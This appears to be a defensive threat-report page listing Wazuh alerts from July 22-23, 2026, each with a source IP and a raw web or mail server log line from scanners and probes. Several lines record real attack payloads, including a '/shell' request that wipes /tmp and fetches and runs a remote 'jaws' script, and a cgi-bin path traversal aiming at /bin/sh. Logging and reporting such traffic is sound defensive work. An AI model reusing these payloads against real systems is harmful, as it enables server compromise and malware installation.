|
๐ฎ๐ณ
20.193.146.159
|
|
Wazuh Alert Evidence: 20.193.146.159 - - [23/Jul/2026:10:01:17 +0000] "POST / HTTP/1.1" 405 552 "-" ...
show more
Wazuh Alert Evidence: 20.193.146.159 - - [23/Jul/2026:10:01:17 +0000] "POST / HTTP/1.1" 405 552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐ฎ๐น
172.213.144.209
|
|
Wazuh Alert Evidence: 172.213.144.209 - - [23/Jul/2026:09:35:03 +0000] "GET /this_is_a_new_hello_wor ...
show more
Wazuh Alert Evidence: 172.213.144.209 - - [23/Jul/2026:09:35:03 +0000] "GET /this_is_a_new_hello_world.php HTTP/1.1" 404 146 "-" "-" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐บ๐ธ
20.172.70.65
|
|
Wazuh Alert Evidence: 20.172.70.65 - - [23/Jul/2026:09:16:04 +0000] "GET / HTTP/1.1" 400 248 "-" "Mo ...
show more
Wazuh Alert Evidence: 20.172.70.65 - - [23/Jul/2026:09:16:04 +0000] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 zgrab/0.x" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐ฏ๐ต
210.191.89.156
|
|
Wazuh Alert Evidence: 210.191.89.156 - - [23/Jul/2026:08:45:15 +0000] "GET /shell?cd+/tmp;rm+-rf+*;w ...
show more
Wazuh Alert Evidence: 210.191.89.156 - - [23/Jul/2026:08:45:15 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+167.71.210.63/jaws;sh+/tmp/jaws HTTP/1.1" 404 146 "-" "Hello, world" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐ธ๐ฌ
5.223.56.88
|
|
Wazuh Alert Evidence: 5.223.56.88 - - [23/Jul/2026:08:43:30 +0000] "CONNECT www.google.com:443 HTTP/ ...
show more
Wazuh Alert Evidence: 5.223.56.88 - - [23/Jul/2026:08:43:30 +0000] "CONNECT www.google.com:443 HTTP/1.1" 400 150 "-" "-" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐บ๐ธ
20.55.61.179
|
|
Wazuh Alert Evidence: 20.55.61.179 - - [23/Jul/2026:07:38:04 +0000] "GET /.well-known/resource-that- ...
show more
Wazuh Alert Evidence: 20.55.61.179 - - [23/Jul/2026:07:38:04 +0000] "GET /.well-known/resource-that-should-not-exist-whose-status-code-should-not-be-200 HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐บ๐ธ
20.115.49.134
|
|
Wazuh Alert Evidence: 20.115.49.134 - - [23/Jul/2026:07:37:30 +0000] "GET /.well-known/resource-that ...
show more
Wazuh Alert Evidence: 20.115.49.134 - - [23/Jul/2026:07:37:30 +0000] "GET /.well-known/resource-that-should-not-exist-whose-status-code-should-not-be-200 HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐บ๐ธ
20.115.49.110
|
|
Wazuh Alert Evidence: 20.115.49.110 - - [23/Jul/2026:07:37:22 +0000] "GET /.well-known/resource-that ...
show more
Wazuh Alert Evidence: 20.115.49.110 - - [23/Jul/2026:07:37:22 +0000] "GET /.well-known/resource-that-should-not-exist-whose-status-code-should-not-be-200 HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐ช๐ฌ
197.50.7.111
|
|
Wazuh Alert Evidence: 197.50.7.111 - - [23/Jul/2026:07:36:03 +0000] "CONNECT www.google.com:443 HTTP ...
show more
Wazuh Alert Evidence: 197.50.7.111 - - [23/Jul/2026:07:36:03 +0000] "CONNECT www.google.com:443 HTTP/1.1" 400 150 "-" "-" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐จ๐ณ
116.179.37.249
|
|
Wazuh Alert Evidence: 116.179.37.249 - - [23/Jul/2026:07:10:50 +0000] "POST /graphql HTTP/1.1" 400 0 ...
show more
Wazuh Alert Evidence: 116.179.37.249 - - [23/Jul/2026:07:10:50 +0000] "POST /graphql HTTP/1.1" 400 0 "https://www.triiix.io/" "Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)" "-" Origin: "https://www.triiix.io" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐จ๐ณ
43.142.122.71
|
|
Wazuh Alert Evidence: 43.142.122.71 - - [23/Jul/2026:06:45:14 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/. ...
show more
Wazuh Alert Evidence: 43.142.122.71 - - [23/Jul/2026:06:45:14 +0000] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 150 "-" "-" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐ฎ๐ณ
103.134.108.70
|
|
Wazuh Alert Evidence: 103.134.108.70 - - [23/Jul/2026:06:39:00 +0000] "CONNECT cloudflare.com:80 HTT ...
show more
Wazuh Alert Evidence: 103.134.108.70 - - [23/Jul/2026:06:39:00 +0000] "CONNECT cloudflare.com:80 HTTP/1.1" 400 150 "-" "-" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐ฉ๐ช
130.12.182.227
|
|
Wazuh Alert Evidence: 130.12.182.227 - - [23/Jul/2026:06:33:26 +0000] "CONNECT 1.1.1.1:443 HTTP/1.0" ...
show more
Wazuh Alert Evidence: 130.12.182.227 - - [23/Jul/2026:06:33:26 +0000] "CONNECT 1.1.1.1:443 HTTP/1.0" 400 150 "-" "-" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐น๐ท
212.98.224.95
|
|
Wazuh Alert Evidence: 212.98.224.95 - - [23/Jul/2026:06:09:16 +0000] "POST / HTTP/1.1" 405 150 "-" " ...
show more
Wazuh Alert Evidence: 212.98.224.95 - - [23/Jul/2026:06:09:16 +0000] "POST / HTTP/1.1" 405 150 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐ต๐ฐ
175.107.221.144
|
|
Wazuh Alert Evidence: 175.107.221.144 - - [23/Jul/2026:05:54:28 +0000] "POST /HNAP1/ HTTP/1.0" 404 1 ...
show more
Wazuh Alert Evidence: 175.107.221.144 - - [23/Jul/2026:05:54:28 +0000] "POST /HNAP1/ HTTP/1.0" 404 146 "-" "-" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐บ๐ธ
167.172.134.198
|
|
Wazuh Alert Evidence: 167.172.134.198 - - [23/Jul/2026:05:42:39 +0000] "GET /.git/config HTTP/1.1" 4 ...
show more
Wazuh Alert Evidence: 167.172.134.198 - - [23/Jul/2026:05:42:39 +0000] "GET /.git/config HTTP/1.1" 404 146 "-" "Mozilla/5.0 (compatible; Scanner/1.0)" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐ญ๐ฐ
156.225.1.114
|
|
Wazuh Alert Evidence: Jul 23 05:25:48 ms1.triiix.info postfix/submission/smtpd[1252871]: warning: un ...
show more
Wazuh Alert Evidence: Jul 23 05:25:48 ms1.triiix.info postfix/submission/smtpd[1252871]: warning: unknown[156.225.1.114]: SASL NTLM authentication failed: Invalid authentication mechanism, sasl_username=(unavailable)
show less
|
Brute-Force
|
|
๐จ๐ณ
116.167.5.2
|
|
Wazuh Alert Evidence: 116.167.5.2 - - [23/Jul/2026:04:37:54 +0000] "GET / HTTP/1.1" 400 248 "-" "-" ...
show more
Wazuh Alert Evidence: 116.167.5.2 - - [23/Jul/2026:04:37:54 +0000] "GET / HTTP/1.1" 400 248 "-" "-" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐ณ๐ฑ
176.65.132.8
|
|
Wazuh Alert Evidence: 176.65.132.8 - - [23/Jul/2026:04:02:02 +0000] "GET /login HTTP/1.1" 404 146 "- ...
show more
Wazuh Alert Evidence: 176.65.132.8 - - [23/Jul/2026:04:02:02 +0000] "GET /login HTTP/1.1" 404 146 "-" "Go-http-client/1.1" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐บ๐ธ
172.104.210.105
|
|
Wazuh Alert Evidence: 172.104.210.105 - - [23/Jul/2026:03:38:50 +0000] "GET / HTTP/1.1" 400 248 "-" ...
show more
Wazuh Alert Evidence: 172.104.210.105 - - [23/Jul/2026:03:38:50 +0000] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 zgrab/0.x" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐ฒ๐พ
58.71.220.97
|
|
Wazuh Alert Evidence: 2026/07/23 02:27:03 [error] 1590212#1590212: *22015 upstream prematurely close ...
show more
Wazuh Alert Evidence: 2026/07/23 02:27:03 [error] 1590212#1590212: *22015 upstream prematurely closed connection while reading upstream, client: 58.71.220.97, server: uat.triiix.io, request: "POST /uc/coin/icon/list HTTP/1.1", upstream: "https://10.88.0.53:443/uc/coin/icon/list", host: "uat.triiix.io"
show less
|
Web App Attack
|
|
๐บ๐ธ
20.163.26.91
|
|
Wazuh Alert Evidence: 20.163.26.91 - - [23/Jul/2026:01:58:46 +0000] "GET /developmentserver/metadata ...
show more
Wazuh Alert Evidence: 20.163.26.91 - - [23/Jul/2026:01:58:46 +0000] "GET /developmentserver/metadatauploader HTTP/1.1" 403 133 "-" "Mozilla/5.0 zgrab/0.x" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐ฉ๐ช
128.14.225.253
|
|
Wazuh Alert Evidence: 128.14.225.253 - - [23/Jul/2026:01:44:29 +0000] "GET /sitemap.xml HTTP/1.1" 40 ...
show more
Wazuh Alert Evidence: 128.14.225.253 - - [23/Jul/2026:01:44:29 +0000] "GET /sitemap.xml HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐ญ๐ฐ
194.187.178.188
|
|
Wazuh Alert Evidence: 194.187.178.188 - - [22/Jul/2026:23:54:53 +0000] "GET / HTTP/1.1" 400 248 "-" ...
show more
Wazuh Alert Evidence: 194.187.178.188 - - [22/Jul/2026:23:54:53 +0000] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|
|
๐จ๐ณ
116.179.37.71
|
|
Wazuh Alert Evidence: 116.179.37.71 - - [22/Jul/2026:22:30:54 +0000] "POST /graphql HTTP/1.1" 408 0 ...
show more
Wazuh Alert Evidence: 116.179.37.71 - - [22/Jul/2026:22:30:54 +0000] "POST /graphql HTTP/1.1" 408 0 "https://www.triiix.io/" "Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)" "-" Origin: "https://www.triiix.io" CORS_Header: "-" Sent_allow_origin: "-"
show less
|
Web App Attack
|